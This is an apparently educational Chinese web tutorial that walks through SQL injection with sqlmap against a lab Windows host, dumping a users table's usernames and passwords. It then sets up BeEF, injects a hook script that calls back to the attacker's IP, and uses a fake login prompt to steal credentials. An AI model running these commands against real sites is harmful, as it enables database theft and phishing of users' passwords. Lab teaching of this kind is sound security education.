news 2026/4/25 6:47:20

Kali Linux进行SQL注入与XSS漏洞利用教程(非常详细)网络安全零基础入门必看教程!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Kali Linux进行SQL注入与XSS漏洞利用教程(非常详细)网络安全零基础入门必看教程!

文章目录

一、实验

1.环境

(1)主机

表1 主机

系统版本IP备注
Kali Linux2022.4

192.168.204.154(动态)

Windows10192.168.204.10Kali(2022.4)的目标主机

(2)查看Kali Linux (2022.4)系统版本

cat /etc/os-release

(3) 查看Kali Linux (2022.4)系统IP地址

ip addr | grep 154

(4)Windows 查看IP地址

ipconfig

(5)Kali主机 ping Windows主机

ping 192.168.204.10

2.Kali Linux 进行SQL注入

(1) LAMP(LNMP)平台

选择Windows版本

https://www.xp.cn/download.html

(2)sqlmap查阅

https://github.com/sqlmapproject/sqlmap

(3)获取服务器信息

包括操作系统、数据库、 web 容器、后端语⾔

sqlmap -u http://192.168.204.10/news/list.php?id=46

(4)获取数据名称列表

–thread 10 线程数设置为10

sqlmap -u http://192.168.204.10/news/show.php?id=46 --thread 10 -dbs

(5)获取当前数据库名称

sqlmap -u http://192.168.204.10/news/show.php?id=46 --current-db

(6)获取当前数据库中所有表的名称

sqlmap -u http://192.168.204.10/news/show.php?id=46 -D news --tables

(7)获取当前数据库指定的表的字段名

sqlmap -u http://192.168.204.10/news/show.php?id=46 -D news -T news_users --columns

(8)获取指定库指定表指定字段的值

sqlmap -u http://192.168.204.10/news/show.php?id=46 -D news -T news_users -C username,password --dump

3.Kali Linux 进行XSS漏洞利用

(1)漏洞测试平台

选择Windows版本

https://github.com/zhuifengshaonianhanlu/pikachu

(2)kali 系统更新

sudo apt-get update

(3)安装ruby

apt-get install ruby

(4)安装beef

apt-get install beef-xss

(5)启动beef-xss

┌──(root㉿kali)-[~] └─# beef-xss [-] You are using the Default credentials [-] (Password must be different from "beef") [-] Please type a new password for the beef user: ┌──(root㉿kali)-[~] └─# beef-xss [-] You are using the Default credentials [-] (Password must be different from "beef") [-] Please type a new password for the beef user: [i] GeoIP database is missing [i] Run geoipupdate to download / update Maxmind GeoIP database [*] Please wait for the BeEF service to start. [*] [*] You might need to refresh your browser once it opens. [*] [*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook: <script src="http://<IP>:3000/hook.js"></script> [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script> ● beef-xss.service - beef-xss Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled) Active: active (running) since Wed 2024-03-27 10:57:29 CST; 5s ago Main PID: 26104 (ruby) Tasks: 4 (limit: 2248) Memory: 92.8M CPU: 3.246s CGroup: /system.slice/beef-xss.service └─26104 ruby /usr/share/beef-xss/beef 3月 27 10:57:34 kali beef[26104]: == 24 CreateAutoloader: migrated (0.0013s) ==================================== 3月 27 10:57:34 kali beef[26104]: == 25 CreateXssraysScan: migrating ============================================ 3月 27 10:57:34 kali beef[26104]: -- create_table(:xssraysscans) 3月 27 10:57:34 kali beef[26104]: -> 0.0016s 3月 27 10:57:34 kali beef[26104]: == 25 CreateXssraysScan: migrated (0.0016s) =================================== 3月 27 10:57:34 kali beef[26104]: [10:57:33][*] BeEF is loading. Wait a few seconds... 3月 27 10:57:34 kali beef[26104]: [10:57:34][!] [AdminUI] Error: Could not minify 'BeEF::Extension::AdminUI::API::Handler' JavaScript file: Invalid option: harmony 3月 27 10:57:34 kali beef[26104]: [10:57:34] |_ [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` ! 3月 27 10:57:34 kali beef[26104]: [10:57:34][!] [AdminUI] Error: Could not minify 'BeEF::Extension::AdminUI::API::Handler' JavaScript file: Invalid option: harmony 3月 27 10:57:34 kali beef[26104]: [10:57:34] |_ [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` ! [*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...

(6)浏览器登录

http://127.0.0.1:3000/ui/authentication

(7) 输入账号密码

账号输⼊beef,密码输⼊123456

进入系统

(8) Windows 主机设置钩子

<script src="http://192.168.204.154:3000/hook.js"></script>

(9)beef获取目标主机

(10)查看模块

(11)选择重定向

执行 (选择Execute)

(12) Windows 主机页面重定向

(13)选择pretty theft

执行 (选择Execute)

(14)Windows主机弹出登录界面

(15)beef获取账号及密码

二、问题

1.XSS分类

(1)类别

1)反射型XSS 2)持久型XSS 3)DOM型XSS

2.如何修改beef-xss的密码

(1)修改

vim /etc/beef-xss/config.yaml

(第7、8⾏)

3.beef-xss 服务如何管理

(1)开启服务

1)第一种方式 任意目录,直接输入命令:beef-xss 打开 ,过5秒左右,然后它自动会打开命令行和浏览器beef的登录框 2)第二种方式 进入/usr/share/beef-xss/,输入命令:./beef-xss 打开 ,然后手动打开浏览器链接

(2)服务管理

1)开启beef服务 systemctl start beef-xss.service 2)关闭beef服务 systemctl stop beef-xss.service 3)重启beef服务 systemctl restart beef-xss.service

4.运行beef报错

(1)报错

(2)原因分析

需要管理员操作。

(3)解决方法

切换为管理员操作。

5.beef 命令的颜色有哪些区别

(1)区别

1)绿⾊ 命令模块可以在⽬标浏览器上运⾏,且⽤户不会感到任何异常 2)灰⾊ 命令模块尚未针对⽌⼀⼝此⽬标进⾏验证,不知道是否可运⾏ 3)橙⾊ 命令模块可以在⽬标浏览器上运⾏,但是⽤户可能会感到异常(例如弹窗、提示、跳转等) 4)红⾊ 命令模块不适⽤于此⽬标

6.owasp-top-10 有哪些变化

(1)官网

http://www.owasp.org.cn/OWASP-CHINA/owasp-project/2021-owasp-top-10/

(2)变化

最近2次的变化

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/25 9:49:09

视频汇聚平台EasyCVR筑牢消防领域可视化监控防线

消防工作的核心诉求是“早发现、早预警、快处置”&#xff0c;而视频监控作为消防工作的“千里眼”&#xff0c;贯穿于日常防火巡查、火灾隐患排查、应急救援处置等全流程。然而&#xff0c;当前消防领域视频监控普遍面临“设备协议杂、跨区域汇聚难、应急联动慢”等痛点。如何…

作者头像 李华
网站建设 2026/4/23 15:45:50

端侧AI革命(Open-AutoGLM驱动的模型自进化技术大揭秘)

第一章&#xff1a;端侧AI革命的背景与Open-AutoGLM的崛起随着边缘计算能力的持续增强和用户对数据隐私保护意识的提升&#xff0c;人工智能正从集中式的云端推理逐步向终端设备迁移。这一趋势催生了“端侧AI”革命&#xff0c;推动模型轻量化、低延迟推理与本地化部署成为技术…

作者头像 李华
网站建设 2026/4/23 13:01:54

AI算力、端侧大模型、主动服务:2026年智能体手机的三大生死关卡

第一章&#xff1a;2026年智能体手机的发展图景到2026年&#xff0c;智能体手机已不再仅仅是通信工具或计算设备&#xff0c;而是演变为具备自主决策能力的个人数字代理。这类设备融合了边缘AI、持续学习模型与多模态感知系统&#xff0c;能够在无需用户干预的情况下完成复杂任…

作者头像 李华
网站建设 2026/4/24 5:42:20

NVIDIA显卡性能调校终极指南:免费工具快速上手

还在为游戏卡顿、画面撕裂而烦恼吗&#xff1f;想要深度挖掘显卡隐藏性能却无从下手&#xff1f;今天为大家带来一款完全免费的显卡调校利器——NVIDIA Profile Inspector&#xff0c;让你轻松实现显卡性能的最大化释放&#xff01;&#x1f60a; 【免费下载链接】nvidiaProfil…

作者头像 李华
网站建设 2026/4/23 3:53:02

Windows右键菜单极致优化:ContextMenuManager完整操作指南

Windows右键菜单极致优化&#xff1a;ContextMenuManager完整操作指南 【免费下载链接】ContextMenuManager &#x1f5b1;️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager 想要彻底解决Windows右键菜单杂乱无章的问…

作者头像 李华